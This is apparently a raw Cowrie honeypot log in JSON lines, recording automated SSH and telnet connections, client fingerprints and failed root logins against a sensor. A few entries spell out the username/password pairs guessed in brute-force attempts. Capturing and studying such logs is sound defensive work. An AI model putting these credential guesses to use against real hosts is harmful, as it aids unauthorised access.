{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:60:f1:ec:12:30:4e:c2:35:44:bc:81:52:b1:ca:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDk8OfLtXU8BlIG1GR2zHi8rUZR3bBON3uxNjZ1SZzbwf3vGhCvEbCbAm/M/6K2TvaCW5P+illWcOUfYXyfK94RrRkIE0sAN3mRBAYOfohSeTh2GsTUzaQ17VAy7pLlyFGl4JI6MGW7yFOg3WhijwiV3PaAsWJ5bu/4EloCdgk949L3BLHiB2bgxR5oF2dW0yYTEKoXWPMWy5wfHkheBg3Ylgo+q0BxFLIj+7bqHuOJO0iAjv4naOI2iVpemUC98uCkBLULJPWdBUSZKt06YA9sd3FwuUi4H1AYXJL+Y1UnUwzKUZBeIAVBvlank97OQSzXd0p5sIWzjGpDhGG679qn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:60:f1:ec:12:30:4e:c2:35:44:bc:81:52:b1:ca:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:18.825847Z","src_ip":"148.135.70.18","session":"5d55e37b7818","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:60:f1:ec:12:30:4e:c2:35:44:bc:81:52:b1:ca:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDk8OfLtXU8BlIG1GR2zHi8rUZR3bBON3uxNjZ1SZzbwf3vGhCvEbCbAm/M/6K2TvaCW5P+illWcOUfYXyfK94RrRkIE0sAN3mRBAYOfohSeTh2GsTUzaQ17VAy7pLlyFGl4JI6MGW7yFOg3WhijwiV3PaAsWJ5bu/4EloCdgk949L3BLHiB2bgxR5oF2dW0yYTEKoXWPMWy5wfHkheBg3Ylgo+q0BxFLIj+7bqHuOJO0iAjv4naOI2iVpemUC98uCkBLULJPWdBUSZKt06YA9sd3FwuUi4H1AYXJL+Y1UnUwzKUZBeIAVBvlank97OQSzXd0p5sIWzjGpDhGG679qn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:18.829661Z","src_ip":"148.135.70.18","session":"5d55e37b7818","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:18.898012Z","src_ip":"148.135.70.18","session":"5d55e37b7818","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36076,"dst_ip":"10.17.0.5","dst_port":23,"session":"2959a404a809","protocol":"telnet","message":"New connection: 50.6.8.71:36076 (10.17.0.5:23) [session: 2959a404a809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:20.257072Z"}
{"eventid":"cowrie.session.closed","duration":42.6217896938324,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:20.770019Z","src_ip":"50.6.8.71","session":"0a0e25d8dad1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36090,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa868bfef4db","protocol":"telnet","message":"New connection: 50.6.8.71:36090 (10.17.0.5:23) [session: fa868bfef4db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:21.927009Z"}
{"eventid":"cowrie.session.closed","duration":12.526576519012451,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:24.833154Z","src_ip":"37.236.163.24","session":"9cf4724bab32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":35280,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fde4e82cf80","protocol":"ssh","message":"New connection: 193.37.70.224:35280 (159.203.135.109:22) [session: 1fde4e82cf80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:29.401132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:29.405440Z","src_ip":"193.37.70.224","session":"1fde4e82cf80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:29.498449Z","src_ip":"193.37.70.224","session":"1fde4e82cf80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567m","message":"login attempt [root/1234567m] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:29.786731Z","src_ip":"193.37.70.224","session":"1fde4e82cf80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:30.882821Z","src_ip":"193.37.70.224","session":"1fde4e82cf80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57024,"dst_ip":"10.17.0.5","dst_port":23,"session":"440b63ee3f68","protocol":"telnet","message":"New connection: 50.6.8.71:57024 (10.17.0.5:23) [session: 440b63ee3f68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:41.616809Z"}
{"eventid":"cowrie.session.closed","duration":31.469043731689453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:51.726015Z","src_ip":"50.6.8.71","session":"2959a404a809","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.38476920127869,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:55.311658Z","src_ip":"50.6.8.71","session":"fa868bfef4db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40698,"dst_ip":"10.17.0.5","dst_port":23,"session":"f66916538ef7","protocol":"telnet","message":"New connection: 50.6.8.71:40698 (10.17.0.5:23) [session: f66916538ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:56:04.874555Z"}
{"eventid":"cowrie.session.closed","duration":31.174769639968872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:56:12.791454Z","src_ip":"50.6.8.71","session":"440b63ee3f68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43602,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd57bf3f2d42","protocol":"telnet","message":"New connection: 50.6.8.71:43602 (10.17.0.5:23) [session: fd57bf3f2d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:56:19.186319Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38224,"dst_ip":"10.17.0.5","dst_port":23,"session":"daa65ba4dc2b","protocol":"telnet","message":"New connection: 50.6.8.71:38224 (10.17.0.5:23) [session: daa65ba4dc2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:56:25.937177Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38228,"dst_ip":"10.17.0.5","dst_port":23,"session":"d29055178229","protocol":"telnet","message":"New connection: 50.6.8.71:38228 (10.17.0.5:23) [session: d29055178229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:56:30.417115Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38236,"dst_ip":"10.17.0.5","dst_port":23,"session":"357675f43e49","protocol":"telnet","message":"New connection: 50.6.8.71:38236 (10.17.0.5:23) [session: 357675f43e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:56:34.314664Z"}
{"eventid":"cowrie.session.closed","duration":30.35082697868347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:56:35.225244Z","src_ip":"50.6.8.71","session":"f66916538ef7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57714,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7c2cb0a324b","protocol":"telnet","message":"New connection: 50.6.8.71:57714 (10.17.0.5:23) [session: c7c2cb0a324b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:56:36.314536Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57724,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cc620550cc8","protocol":"telnet","message":"New connection: 50.6.8.71:57724 (10.17.0.5:23) [session: 4cc620550cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:56:41.802335Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":36430,"dst_ip":"159.203.135.109","dst_port":22,"session":"6544ff10e866","protocol":"ssh","message":"New connection: 80.94.92.184:36430 (159.203.135.109:22) [session: 6544ff10e866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:56:43.254921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:56:43.481225Z","src_ip":"80.94.92.184","session":"6544ff10e866","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:56:43.484995Z","src_ip":"80.94.92.184","session":"6544ff10e866","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345","message":"login attempt [solv/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:56:44.554711Z","src_ip":"80.94.92.184","session":"6544ff10e866","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:56:45.917973Z","src_ip":"80.94.92.184","session":"6544ff10e866","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.000804901123047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:56:50.187032Z","src_ip":"50.6.8.71","session":"fd57bf3f2d42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36556,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8daa834044e","protocol":"telnet","message":"New connection: 50.6.8.71:36556 (10.17.0.5:23) [session: e8daa834044e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:56:51.979802Z"}
{"eventid":"cowrie.session.closed","duration":36.3929717540741,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:57:02.330045Z","src_ip":"50.6.8.71","session":"daa65ba4dc2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.14189291000366,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:57:06.456424Z","src_ip":"50.6.8.71","session":"357675f43e49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.22383499145508,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:57:09.640829Z","src_ip":"50.6.8.71","session":"d29055178229","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.094157457351685,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:57:11.408550Z","src_ip":"50.6.8.71","session":"c7c2cb0a324b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.290517807006836,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:57:13.092716Z","src_ip":"50.6.8.71","session":"4cc620550cc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.24762320518494,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:57:26.227331Z","src_ip":"50.6.8.71","session":"e8daa834044e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60620,"dst_ip":"10.17.0.5","dst_port":23,"session":"196a734e2397","protocol":"telnet","message":"New connection: 50.6.8.71:60620 (10.17.0.5:23) [session: 196a734e2397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:57:40.540511Z"}
{"eventid":"cowrie.session.closed","duration":30.937868356704712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:58:11.478263Z","src_ip":"50.6.8.71","session":"196a734e2397","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":37768,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4e300b162ed","protocol":"telnet","message":"New connection: 50.6.8.71:37768 (10.17.0.5:23) [session: c4e300b162ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:58:19.732362Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":42520,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1f1de8cc306","protocol":"telnet","message":"New connection: 50.6.8.71:42520 (10.17.0.5:23) [session: c1f1de8cc306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:58:34.873141Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":45394,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c5b664a8edc","protocol":"ssh","message":"New connection: 103.77.175.15:45394 (159.203.135.109:22) [session: 0c5b664a8edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:58:35.359105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:58:35.363880Z","src_ip":"103.77.175.15","session":"0c5b664a8edc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:58:35.616497Z","src_ip":"103.77.175.15","session":"0c5b664a8edc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"piramida","message":"login attempt [root/piramida] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:58:36.376087Z","src_ip":"103.77.175.15","session":"0c5b664a8edc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:58:37.630783Z","src_ip":"103.77.175.15","session":"0c5b664a8edc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53918,"dst_ip":"10.17.0.5","dst_port":23,"session":"1da4cc1f1b64","protocol":"telnet","message":"New connection: 50.6.8.71:53918 (10.17.0.5:23) [session: 1da4cc1f1b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:58:44.666977Z"}
{"eventid":"cowrie.session.closed","duration":32.20736026763916,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:58:51.939618Z","src_ip":"50.6.8.71","session":"c4e300b162ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.3764443397522,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:59:14.249489Z","src_ip":"50.6.8.71","session":"c1f1de8cc306","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":56992,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c85fc81e1ed","protocol":"ssh","message":"New connection: 103.82.132.16:56992 (159.203.135.109:22) [session: 5c85fc81e1ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:59:15.729925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:59:15.734712Z","src_ip":"103.82.132.16","session":"5c85fc81e1ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:59:15.996454Z","src_ip":"103.82.132.16","session":"5c85fc81e1ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.588006734848022,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:59:16.254858Z","src_ip":"50.6.8.71","session":"1da4cc1f1b64","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"rfnzrfnz","message":"login attempt [root/rfnzrfnz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:59:16.777477Z","src_ip":"103.82.132.16","session":"5c85fc81e1ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:59:18.039260Z","src_ip":"103.82.132.16","session":"5c85fc81e1ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54400,"dst_ip":"10.17.0.5","dst_port":23,"session":"30396f81714b","protocol":"telnet","message":"New connection: 50.6.8.71:54400 (10.17.0.5:23) [session: 30396f81714b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:59:20.977281Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56868,"dst_ip":"10.17.0.5","dst_port":23,"session":"09f85a5991ac","protocol":"telnet","message":"New connection: 50.6.8.71:56868 (10.17.0.5:23) [session: 09f85a5991ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:59:27.822002Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56884,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5ba278fe6af","protocol":"telnet","message":"New connection: 50.6.8.71:56884 (10.17.0.5:23) [session: c5ba278fe6af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:59:30.363521Z"}
